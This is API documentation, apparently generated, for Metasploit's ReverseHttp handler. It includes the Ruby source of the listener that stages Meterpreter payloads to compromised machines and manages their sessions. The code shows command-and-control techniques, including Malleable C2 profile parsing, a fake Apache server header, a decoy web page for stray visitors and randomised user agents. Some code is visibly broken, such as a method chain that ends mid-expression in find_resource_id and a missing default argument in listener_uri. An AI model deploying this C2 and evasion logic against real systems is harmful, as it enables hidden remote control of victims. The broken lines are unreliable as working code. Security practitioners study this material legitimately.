Module: Msf::Handler::ReverseHttp

Includes:
Msf::Handler, Reverse, Msf::Handler::Reverse::Comm, Payload::Windows::VerifySsl, Rex::Payloads::Meterpreter::UriChecksum
Included in:
ReverseHttps
Defined in:
lib/msf/core/handler/reverse_http.rb

Overview

This handler implements the HTTP SSL tunneling interface.

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITPH, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Constants included from Msf::Handler

Claimed, Unused

Instance Attribute Summary collapse

Attributes included from Msf::Handler

#exploit_config, #parent_payload, #pending_connections, #session_waiter_event, #sessions

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Payload::Windows::VerifySsl

#get_ssl_cert_hash

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_cookie_resource, #process_query_string_resource, #process_uri_resource, #process_uuid_string, #uri_checksum_lookup

Methods included from Msf::Handler::Reverse::Comm

#select_comm, #via_string

Methods included from Reverse

#bind_addresses, #bind_port, #is_loopback_address?

Methods included from Msf::Handler

#add_handler, #cleanup_handler, #create_session, #handle_connection, #handler, #handler_name, #interrupt_wait_for_session, #register_session, #start_handler, #wait_for_session, #wfs_delay

Instance Attribute Details

#serviceObject

:nodoc:



391
392
393
# File 'lib/msf/core/handler/reverse_http.rb', line 391

def service
  @service
end

Class Method Details

.general_handler_typeObject

Returns the connection-described general handler type, in this case ‘tunnel’.



36
37
38
# File 'lib/msf/core/handler/reverse_http.rb', line 36

def self.general_handler_type
  "tunnel"
end

.handler_typeObject

Returns the string representation of the handler type



28
29
30
# File 'lib/msf/core/handler/reverse_http.rb', line 28

def self.handler_type
  return 'reverse_http'
end

Instance Method Details

#add_response_headers(req, resp) ⇒ Object



348
349
350
351
352
353
354
355
356
# File 'lib/msf/core/handler/reverse_http.rb', line 348

def add_response_headers(req, resp)
  if req.method == 'GET'
    headers = self.c2_profile&.http_get&.server&.header || []
    headers.each {|h| resp[h.args[0]] = h.args[1]}
  elsif req.method == 'POST'
    headers = self.c2_profile&.http_post&.server&.header || []
    headers.each {|h| resp[h.args[0]] = h.args[1]}
  end
end

#all_urisObject



203
204
205
206
207
208
209
210
211
212
# File 'lib/msf/core/handler/reverse_http.rb', line 203

def all_uris
  all = ["#{luri}/"]

  if self.c2_profile
    uris = self.c2_profile.uris.map {|u| construct_luri(u)}
    all.push(*uris)
  end

  all.uniq
end

#c2_profileObject



214
215
216
217
218
219
220
221
222
223
224
225
# File 'lib/msf/core/handler/reverse_http.rb', line 214

def c2_profile
  # Only use a C2 profile if the payload explicitly registered the option.
  # This prevents staged payloads from inheriting a stale MALLEABLEC2
  # value from a prior stageless payload configuration.
  return nil unless self.options.include?('MALLEABLEC2')

  profile_path = datastore['MALLEABLEC2'] || ''
  return nil if profile_path.empty?

  parser = Msf::Payload::MalleableC2::Parser.new
  parser.parse(profile_path)
end

#comm_stringObject



160
161
162
163
164
165
166
# File 'lib/msf/core/handler/reverse_http.rb', line 160

def comm_string
  if self.service.listener.nil?
    "(setting up)"
  else
    via_string(self.service.listener.client) if self.service.listener.respond_to?(:client)
  end
end

#construct_luri(base_uri) ⇒ Object



182
183
184
185
186
187
188
189
190
191
192
193
194
# File 'lib/msf/core/handler/reverse_http.rb', line 182

def construct_luri(base_uri)
  return nil unless base_uri

  u = base_uri.dup

  while u[-1] == '/'
    u.chop!
  end

  u = "/#{u}" unless u[0] == '/'

  u
end

#find_resource_id(cli, request) ⇒ Object

Extract the connection id (the checksum-tuned base64url UUID string produced by ‘generate_uri_uuid`) from an incoming request, so that `process_uri_resource` can map it to a session. The id can arrive in three places depending on the C2 profile placement directive:

* query parameter   (profile: `parameter "name";`)
* request header    (profile: `header    "name";`)
* trailing path seg (default -- no placement directive)

For the path case, the URI looks like ‘<base>/<id>`, where `<base>` is the profile’s per-verb ‘set uri` if defined, otherwise `LURI` (each is registered as a separate mount point in `all_uris`). Taking the last `/`-separated segment skips the base regardless of which one was used. Profile authors should not put `/` in prepend/append directives – that would split the id across segments and defeat this scheme.

If the profile applied ‘prepend` / `append` / `base64` / `base64url` to the id on the payload side, undo those transforms here before handing the result to `process_uri_resource`.



303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
# File 'lib/msf/core/handler/reverse_http.rb', line 303

def find_resource_id(cli, request)
  if request.method == 'POST'
    placement = self.c2_profile&.http_post&.client&.id
  else
    placement = self.c2_profile&.http_get&.client&.
  end

  cid = nil
  if placement
    directive = placement.parameter
    cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
    unless cid
      directive = placement.header
      cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
    end
  end

  cid ||= request.resource.split('?')[0].split('/').compact.last
  cid = unwrap_profile_uuid(cid, placement) if cid && placement

  request.conn_id = cid
end

#initialize(info = {}) ⇒ Object

Initializes the HTTP SSL tunneling handler.



43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# File 'lib/msf/core/handler/reverse_http.rb', line 43

def initialize(info = {})
  super

  register_options(
    [
      OptAddressOrHostname.new('LHOST', [true, 'The local listener hostname']),
      OptPort.new('LPORT', [true, 'The local listener port', 8080]),
      OptString.new('LURI', [false, 'The HTTP Path', ''])
    ], Msf::Handler::ReverseHttp)

  register_advanced_options(
    [
      OptAddress.new('ReverseListenerBindAddress',
        'The specific IP address to bind to on the local system'
      ),
      OptBool.new('OverrideRequestHost',
        'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
      ),
      OptString.new('OverrideLHOST',
        'When OverrideRequestHost is set, use this value as the host name for secondary requests'
      ),
      OptPort.new('OverrideLPORT',
        'When OverrideRequestHost is set, use this value as the port number for secondary requests'
      ),
      OptString.new('OverrideScheme',
        'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
      ),
      OptString.new('HttpUserAgent',
        'The user-agent that the payload should use for communication',
        default: Rex::UserAgent.random,
        aliases: ['MeterpreterUserAgent']
      ),
      OptString.new('HttpServerName',
        'The server header that the handler will send in response to requests',
        default: 'Apache',
        aliases: ['MeterpreterServerName']
      ),
      OptString.new('HttpUnknownRequestResponse',
        'The returned HTML response body when the handler receives a request that is not from a payload',
        default: '<html><body><h1>It works!</h1></body></html>'
      ),
      OptBool.new('IgnoreUnknownPayloads',
        'Whether to drop connections from payloads using unknown UUIDs'
      )
    ], Msf::Handler::ReverseHttp)
end

#listener_uri(addr = ) ⇒ String

A URI describing where we are listening

Parameters:

  • addr (String) (defaults to: )

    the address that

Returns:

  • (String)

    A URI of the form scheme://host:port/



102
103
104
105
106
# File 'lib/msf/core/handler/reverse_http.rb', line 102

def listener_uri(addr=datastore['ReverseListenerBindAddress'])
  addr = datastore['LHOST'] if addr.nil? || addr.empty?
  uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
  "#{scheme}://#{uri_host}:#{bind_port}#{luri}"
end

#lookup_proxy_settingsObject (protected)

Parses the proxy settings and returns a hash



398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
# File 'lib/msf/core/handler/reverse_http.rb', line 398

def lookup_proxy_settings
  info = {}
  return @proxy_settings if @proxy_settings

  if datastore['HttpProxyHost'].to_s == ''
    @proxy_settings = info
    return @proxy_settings
  end

  info[:host] = datastore['HttpProxyHost'].to_s
  info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
  info[:type] = datastore['HttpProxyType'].to_s

  uri_host = info[:host]

  if Rex::Socket.is_ipv6?(uri_host)
    uri_host = "[#{info[:host]}]"
  end

  info[:info] = "#{uri_host}:#{info[:port]}"

  if info[:type] == "SOCKS"
    info[:info] = "socks=#{info[:info]}"
  else
    info[:info] = "http://#{info[:info]}"
    if datastore['HttpProxyUser'].to_s != ''
      info[:username] = datastore['HttpProxyUser'].to_s
    end
    if datastore['HttpProxyPass'].to_s != ''
      info[:password] = datastore['HttpProxyPass'].to_s
    end
  end

  @proxy_settings = info
end

#luriString

The local URI for the handler.

Returns:

  • (String)

    Representation of the URI to listen on.



199
200
201
# File 'lib/msf/core/handler/reverse_http.rb', line 199

def luri
  construct_luri(datastore['LURI'] || '')
end

#on_request(cli, req) ⇒ Object (protected)

Parses the HTTPS request



437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
# File 'lib/msf/core/handler/reverse_http.rb', line 437

def on_request(cli, req)
  Thread.current[:cli] = cli
  resp = Rex::Proto::Http::Response.new

  req.conn_id = find_resource_id(cli, req) unless req.conn_id

  if req.conn_id
    info = process_uri_resource(req.conn_id)
    uuid = info[:uuid]
    conn_id = req.conn_id
  end

  if uuid
    # Configure the UUID architecture and payload if necessary
    uuid.arch      ||= self.arch
    uuid.platform  ||= self.platform

    request_summary = "URI '#{req.resource}' with UA '#{req.headers['User-Agent']}'"

    if info[:mode] && info[:mode] != :connect
      conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
    end

    conn_id.chomp!('/')

    # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
    if framework.db.active
      db_uuid = framework.db.payloads({ uuid: uuid.puid_hex }).first
    else
      print_warning('Without a database connected that payload UUID tracking will not work!')
    end
    if datastore['IgnoreUnknownPayloads'] && !db_uuid
      print_status("Ignoring unknown UUID: #{request_summary}")
      info[:mode] = :unknown_uuid
    end

    # Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
    if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
      allowed_urls = db_uuid ? db_uuid['urls'] : []
      unless allowed_urls && allowed_urls.include?(req.relative_resource.chomp('/'))
        print_status("Ignoring unknown UUID URL: #{request_summary}")
        info[:mode] = :unknown_uuid_url
      end
    end

    url = payload_uri(req) + conn_id
    url << '/' unless url[-1] == '/'

  else
    info[:mode] = :unknown
  end

  self.pending_connections += 1

  resp.body = ''
  resp.code = 200
  resp.message = 'OK'

  # Process the requested resource.
  case info[:mode]
    when :init_connect
      print_status("Redirecting stageless: #{request_summary} -> UUID #{conn_id.gsub(/\//, '')}")

      # Handle the case where stageless payloads call in on the same URI when they
      # first connect. From there, we tell them to callback on a connect URI that
      # was generated on the fly. This means we form a new session for each.

      # Hurl a TLV back at the caller, and ignore the response
      pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID)
      pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, ''))
      resp.body = pkt.to_r
      resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile

    when :init_python, :init_native, :init_java, :init_php, :connect
      # TODO: at some point we may normalise these three cases into just :init

      if info[:mode] == :connect
        # If a session already exists for this conn_id, hand the
        # request to its passive dispatcher. Without this, MC2
        # profiles loop forever on "orphaned attach" because the
        # profile URI prefix outranks the session's /<conn_id>
        # mount in Rex's VirtualDirectory routing.
        existing = session_for_conn_id(req.conn_id)
        if existing
          existing.send(:on_passive_request, cli, req)
          self.pending_connections -= 1
          return
        end
        print_status("Attaching orphaned/stageless session...")
      else
        begin
          # TODO: do we need to handle C2 profiles here?
          blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
          blob = encode_stage(blob) if self.respond_to?(:encode_stage)
          # remove this when we make http payloads prepend stage sizes by default
          if defined?(read_stage_size?) && read_stage_size?
            print_status("Appending Stage Size For HTTP[S]...")
            blob = [ blob.length ].pack('V') + blob
          end

          print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")

          resp['Content-Type'] = 'application/octet-stream'
          resp.body = blob

        rescue NoMethodError => e
          print_error('Staging failed. This can occur when stageless listeners are used with staged payloads.')
          elog('Staging failed. This can occur when stageless listeners are used with staged payloads.', error: e)
          return
        end
      end

      session_opts = {
        :passive_dispatcher => self.service,
        :dispatch_ext       => [Rex::Post::Meterpreter::HttpPacketDispatcher],
        :conn_id            => conn_id,
        :url                => url,
        :expiration         => datastore['SessionExpirationTimeout'].to_i,
        :comm_timeout       => datastore['SessionCommunicationTimeout'].to_i,
        :retry_total        => datastore['SessionRetryTotal'].to_i,
        :retry_wait         => datastore['SessionRetryWait'].to_i,
        :ssl                => ssl?,
        :payload_uuid       => uuid,
        :c2_profile         => self.c2_profile,
        :debug_build        => datastore['MeterpreterDebugBuild'] || false,
      }

      create_session(cli, session_opts)
    else
      unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
        print_status("Unknown request to #{request_summary}")
      end
      resp.body    = datastore['HttpUnknownRequestResponse'].to_s
      self.pending_connections -= 1
  end

  cli.send_response(resp) if (resp)

  # Force this socket to be closed
  self.service.close_client(cli)
end

#payload_uri(req = nil) ⇒ String

Return a URI suitable for placing in a payload.

Host will be properly wrapped in square brackets, [], for ipv6 addresses.

Parameters:

Returns:

  • (String)

    A URI of the form scheme://host:port/



115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
# File 'lib/msf/core/handler/reverse_http.rb', line 115

def payload_uri(req=nil)
  callback_host = nil
  callback_scheme = nil

  # Extract whatever the client sent us in the Host header
  if req && req.headers && req.headers['Host']
    cburi = URI("#{scheme}://#{req.headers['Host']}")
    callback_host = cburi.host
    callback_port = cburi.port
  end

  # Override the host and port as appropriate
  if datastore['OverrideRequestHost'] || callback_host.nil?
    callback_host = datastore['OverrideLHOST']
    callback_port = datastore['OverrideLPORT']
    callback_scheme = datastore['OverrideScheme']
  end

  if callback_host.nil? || callback_host.empty?
    callback_host = datastore['LHOST']
  end

  if callback_port.nil? || callback_port.zero?
    callback_port = datastore['LPORT']
  end

  if callback_scheme.nil? || callback_scheme.empty?
    callback_scheme = scheme
  end

  if Rex::Socket.is_ipv6? callback_host
    callback_host = "[#{callback_host}]"
  end

  if callback_host.nil?
    raise ArgumentError, "No host specified for payload_uri"
  end

  if callback_port
    "#{callback_scheme}://#{callback_host}:#{callback_port}"
  else
    "#{callback_scheme}://#{callback_host}"
  end
end


90
91
92
93
94
95
96
# File 'lib/msf/core/handler/reverse_http.rb', line 90

def print_prefix
  if Thread.current[:cli]
    super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
  else
    super
  end
end

#schemeString

URI scheme

Returns:

  • (String)

    One of "http" or "https" depending on whether we are using SSL



178
179
180
# File 'lib/msf/core/handler/reverse_http.rb', line 178

def scheme
  (ssl?) ? 'https' : 'http'
end

#session_for_conn_id(bare_conn_id) ⇒ Object

Return the live meterpreter session whose passive dispatcher is registered for this bare conn_id, or nil if none matches. Used so MC2 traffic – which Rex routes to on_request because the profile URI prefix outranks the session’s /<conn_id> mount – can still be delivered to the right session instead of triggering a fresh “orphaned attach” on every poll.



364
365
366
367
368
369
370
371
# File 'lib/msf/core/handler/reverse_http.rb', line 364

def session_for_conn_id(bare_conn_id)
  return nil if framework.nil? || bare_conn_id.nil? || bare_conn_id.empty?
  framework.sessions.each_value do |s|
    next unless s.respond_to?(:connection_uuid)
    return s if s.connection_uuid == bare_conn_id
  end
  nil
end

#setup_handlervoid

This method returns an undefined value.

Create an HTTP listener



231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
# File 'lib/msf/core/handler/reverse_http.rb', line 231

def setup_handler

  local_addr = nil
  local_port = bind_port
  ex = false
  comm = select_comm

  # Start the HTTPS server service on this host/port
  bind_addresses.each do |ip|
    begin
      self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
        local_port, ip, ssl?,
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        },
        comm,
        (ssl?) ? datastore['HandlerSSLCert'] : nil, nil, nil, datastore['SSLVersion']
      )
      local_addr = ip
    rescue
      ex = $!
      print_error("Handler failed to bind to #{ip}:#{local_port}")
    else
      ex = false
      break
    end
  end

  raise ex if (ex)

  self.service.server_name = datastore['HttpServerName']

  # Add the new resource
  all_uris.each {|u|
    r = u.empty? ? '/' : u.gsub("//", "/")
    service.add_resource(r,
      'Proc' => Proc.new { |cli, req|
        on_request(cli, req)
      },
      'VirtualDirectory' => true)
  }
  @resources_added = true

  print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
  lookup_proxy_settings

  if datastore['IgnoreUnknownPayloads']
    print_status("Handler is ignoring unknown payloads")
  end
end

#ssl?Boolean

Use the #refname to determine whether this handler uses SSL or not

Returns:

  • (Boolean)


170
171
172
# File 'lib/msf/core/handler/reverse_http.rb', line 170

def ssl?
  !!(self.refname.index('https'))
end

#stop_handlerObject

Removes the / handler, possibly stopping the service if no sessions are active on sub-urls.



377
378
379
380
381
382
383
384
385
386
387
388
389
# File 'lib/msf/core/handler/reverse_http.rb', line 377

def stop_handler
  if self.service
    if @resources_added
      all_uris.each {|u|
        r = u.empty? ? '/' : u.gsub("//", "/")
        self.service.remove_resource(r)
      }
      @resources_added = false
    end
    self.service.deref
    self.service = nil
  end
end

#unwrap_profile_uuid(candidate, placement) ⇒ Object

Reverse the prepend/append + base64 transforms the profile applied to the id on the payload side. If a declared wrapper is missing from the candidate, leave the candidate alone – this is not a payload request, and ‘process_uri_resource` will return nil for it.



330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
# File 'lib/msf/core/handler/reverse_http.rb', line 330

def unwrap_profile_uuid(candidate, placement)
  prefix = placement.get_directive('prepend').map{|d| d.args[0]}.join('')
  suffix = placement.get_directive('append').map{|d| d.args[0]}.join('')

  return candidate unless prefix.empty? || candidate.start_with?(prefix)
  return candidate unless suffix.empty? || candidate.end_with?(suffix)

  candidate = candidate[prefix.length..] unless prefix.empty?
  candidate = candidate[0...-suffix.length] unless suffix.empty?

  if placement.has_directive('base64')
    candidate = Rex::Text.decode_base64(candidate)
  elsif placement.has_directive('base64url')
    candidate = Rex::Text.decode_base64url(candidate)
  end
  candidate
end